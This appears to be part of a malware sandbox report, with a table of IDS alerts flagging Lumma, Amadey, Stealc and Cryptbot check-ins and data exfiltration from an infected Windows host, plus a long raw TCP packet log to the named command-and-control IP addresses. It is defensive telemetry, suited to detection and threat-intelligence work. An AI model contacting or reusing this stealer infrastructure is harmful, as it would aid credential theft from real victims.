2024-11-15T16:17:20.545203+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50000	185.215.113.16	80	TCP
2024-11-15T16:17:20.892084+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.5	50001	104.21.80.55	443	TCP
2024-11-15T16:17:20.892084+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50001	104.21.80.55	443	TCP
2024-11-15T16:17:21.430406+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	50001	104.21.80.55	443	TCP
2024-11-15T16:17:21.430406+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50001	104.21.80.55	443	TCP
2024-11-15T16:17:22.428506+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.5	50003	104.21.80.55	443	TCP
2024-11-15T16:17:22.428506+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50003	104.21.80.55	443	TCP
2024-11-15T16:17:25.009747+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50004	185.215.113.43	80	TCP
2024-11-15T16:17:25.298230+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.5	50006	104.21.80.55	443	TCP
2024-11-15T16:17:25.298230+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50006	104.21.80.55	443	TCP
2024-11-15T16:17:26.693889+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50008	185.215.113.206	80	TCP
2024-11-15T16:17:27.352467+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.5	50010	104.21.80.55	443	TCP
2024-11-15T16:17:27.352467+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50010	104.21.80.55	443	TCP
2024-11-15T16:17:29.071306+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50013	185.215.113.43	80	TCP
2024-11-15T16:17:29.978298+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50014	185.215.113.16	80	TCP
2024-11-15T16:17:30.399474+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.5	50018	104.21.80.55	443	TCP
2024-11-15T16:17:30.399474+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50018	104.21.80.55	443	TCP
2024-11-15T16:17:30.774675+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	50018	104.21.80.55	443	TCP
2024-11-15T16:17:32.510773+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.5	50019	104.21.80.55	443	TCP
2024-11-15T16:17:32.510773+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50019	104.21.80.55	443	TCP
2024-11-15T16:17:32.536612+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	50019	104.21.80.55	443	TCP
2024-11-15T16:17:34.235765+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.5	50020	104.21.80.55	443	TCP
2024-11-15T16:17:34.235765+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50020	104.21.80.55	443	TCP
2024-11-15T16:17:34.765966+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	50020	104.21.80.55	443	TCP
2024-11-15T16:17:34.765966+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50020	104.21.80.55	443	TCP
2024-11-15T16:17:34.992383+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50021	185.215.113.43	80	TCP
2024-11-15T16:17:35.485553+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.5	50022	104.21.80.55	443	TCP
2024-11-15T16:17:35.485553+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50022	104.21.80.55	443	TCP
2024-11-15T16:17:36.042217+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	50022	104.21.80.55	443	TCP
2024-11-15T16:17:36.042217+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50022	104.21.80.55	443	TCP
2024-11-15T16:17:37.239250+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.5	50024	104.21.80.55	443	TCP
2024-11-15T16:17:37.239250+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50024	104.21.80.55	443	TCP
2024-11-15T16:17:38.264058+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.5	50025	104.21.80.55	443	TCP
2024-11-15T16:17:38.264058+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50025	104.21.80.55	443	TCP
2024-11-15T16:17:38.798417+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50025	104.21.80.55	443	TCP
2024-11-15T16:17:39.185808+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.5	50026	104.21.80.55	443	TCP
2024-11-15T16:17:39.185808+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50026	104.21.80.55	443	TCP
2024-11-15T16:17:39.757212+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	50027	185.215.113.16	80	TCP
2024-11-15T16:17:41.396794+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.5	50029	104.21.80.55	443	TCP
2024-11-15T16:17:41.396794+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50029	104.21.80.55	443	TCP
2024-11-15T16:17:43.547076+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50031	185.215.113.206	80	TCP
2024-11-15T16:17:43.998027+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.5	50032	104.21.80.55	443	TCP
2024-11-15T16:17:43.998027+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50032	104.21.80.55	443	TCP
2024-11-15T16:17:46.461555+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.5	50034	104.21.80.55	443	TCP
2024-11-15T16:17:46.461555+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50034	104.21.80.55	443	TCP
2024-11-15T16:17:46.678109+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	50034	104.21.80.55	443	TCP
2024-11-15T16:17:49.506955+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.5	50036	104.21.80.55	443	TCP
2024-11-15T16:17:49.506955+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50036	104.21.80.55	443	TCP
2024-11-15T16:17:50.026287+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50036	104.21.80.55	443	TCP
2024-11-15T16:17:50.970008+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	50038	185.215.113.16	80	TCP
2024-11-15T16:18:01.183439+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.5	50083	104.21.80.55	443	TCP
2024-11-15T16:18:01.183439+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50083	104.21.80.55	443	TCP
2024-11-15T16:18:01.780602+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	50083	104.21.80.55	443	TCP
2024-11-15T16:18:01.780602+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50083	104.21.80.55	443	TCP
2024-11-15T16:18:02.545306+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.5	50094	104.21.80.55	443	TCP
2024-11-15T16:18:02.545306+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50094	104.21.80.55	443	TCP
2024-11-15T16:18:03.296766+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	50094	104.21.80.55	443	TCP
2024-11-15T16:18:03.296766+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50094	104.21.80.55	443	TCP
2024-11-15T16:18:06.974749+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.5	50116	104.21.80.55	443	TCP
2024-11-15T16:18:06.974749+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50116	104.21.80.55	443	TCP
2024-11-15T16:18:09.200875+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.5	50118	34.116.198.130	80	TCP
2024-11-15T16:18:13.144696+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.5	50121	34.116.198.130	80	TCP
2024-11-15T16:18:30.090350+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.5	50139	104.21.80.55	443	TCP
2024-11-15T16:18:30.090350+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50139	104.21.80.55	443	TCP
2024-11-15T16:18:31.261378+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	50139	104.21.80.55	443	TCP
2024-11-15T16:18:31.930248+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.5	50140	104.21.80.55	443	TCP
2024-11-15T16:18:31.930248+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50140	104.21.80.55	443	TCP
2024-11-15T16:18:33.571044+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.5	50142	104.21.80.55	443	TCP
2024-11-15T16:18:33.571044+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50142	104.21.80.55	443	TCP
2024-11-15T16:18:35.109522+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.5	50144	104.21.80.55	443	TCP
2024-11-15T16:18:35.109522+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50144	104.21.80.55	443	TCP
2024-11-15T16:18:35.115782+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	50144	104.21.80.55	443	TCP
2024-11-15T16:18:37.660568+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.5	50153	104.21.80.55	443	TCP
2024-11-15T16:18:37.660568+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50153	104.21.80.55	443	TCP
2024-11-15T16:18:38.193013+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50153	104.21.80.55	443	TCP
2024-11-15T16:18:39.112890+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	50154	185.215.113.16	80	TCP
2024-11-15T16:20:51.271257+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	59641	13.89.179.11	443	TCP
2024-11-15T16:22:22.512604+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	59686	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 15, 2024 16:15:58.749691963 CET	49675	443	192.168.2.5	23.1.237.91
Nov 15, 2024 16:15:58.749702930 CET	49674	443	192.168.2.5	23.1.237.91
Nov 15, 2024 16:15:58.859045982 CET	49673	443	192.168.2.5	23.1.237.91
Nov 15, 2024 16:16:05.596803904 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:05.602118969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:05.602212906 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:05.602334976 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:05.607219934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:06.515574932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:06.515728951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:06.519632101 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:06.524496078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:06.817585945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:06.817718029 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:06.820064068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:06.824925900 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:07.105595112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:07.105662107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:07.105978012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:07.105978012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:07.107399940 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:07.112288952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:07.392802954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:07.392868996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:07.392903090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:07.392940998 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:07.392976046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:07.393012047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:07.393049002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:07.393124104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:07.393124104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:07.393124104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:07.393124104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:07.393124104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:07.393124104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:07.395066023 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:07.399935961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:07.679579973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:07.679668903 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:07.708564043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:07.708646059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:07.713555098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:07.713695049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:07.713725090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:07.713753939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:07.713788986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:07.713877916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:08.359105110 CET	49674	443	192.168.2.5	23.1.237.91
Nov 15, 2024 16:16:08.359237909 CET	49675	443	192.168.2.5	23.1.237.91
Nov 15, 2024 16:16:08.468544006 CET	49673	443	192.168.2.5	23.1.237.91
Nov 15, 2024 16:16:08.514882088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:08.515104055 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:08.756390095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:08.761681080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.039659023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.039712906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.039746046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.039781094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.039793015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.039818048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.039834023 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.039855957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.039859056 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.039899111 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.040016890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.040085077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.040261030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.040292978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.040312052 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.040328979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.040332079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.040369987 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.040378094 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.040405035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.040416002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.040450096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.040893078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.040952921 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.041275978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.041327953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.200254917 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.200301886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.200344086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.200381994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.200416088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.200426102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.200458050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.200470924 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.200478077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.200508118 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.200589895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.200624943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.200644970 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.200660944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.200669050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.200697899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.200720072 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.200742006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.201245070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.201280117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.201306105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.201323986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.201328039 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.201359987 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.201369047 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.201399088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.201404095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.201442957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.202055931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.202111006 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.202111959 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.202150106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.202153921 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.202187061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.202193975 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.202224016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.202229977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.202265978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.202982903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.203017950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.203042030 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.203054905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.203066111 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.203090906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.203099012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.203125954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.203318119 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.203318119 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.369517088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.369569063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.369606972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.369642019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.369678974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.369677067 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.369677067 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.369714975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.369760036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.369760036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.369760036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.369762897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.369802952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.369818926 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.369839907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.369857073 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.369877100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.369900942 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.369913101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.369921923 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.369949102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.369970083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.369983912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.369993925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.370019913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.370024920 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.370060921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.370064974 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.370094061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.370105028 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.370129108 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.370138884 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.370172977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.370191097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.370232105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.370246887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.370281935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.370294094 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.370320082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.370323896 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.370357037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.370358944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.370392084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.370398045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.370428085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.370434046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.370464087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.370469093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.370501041 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.370506048 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.370537043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.370543003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.370573044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.370579004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.370608091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.370613098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.370646000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.370651007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.370682955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.370686054 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.370718956 CET	80	49704	185.215.113.206	192.168.2.5
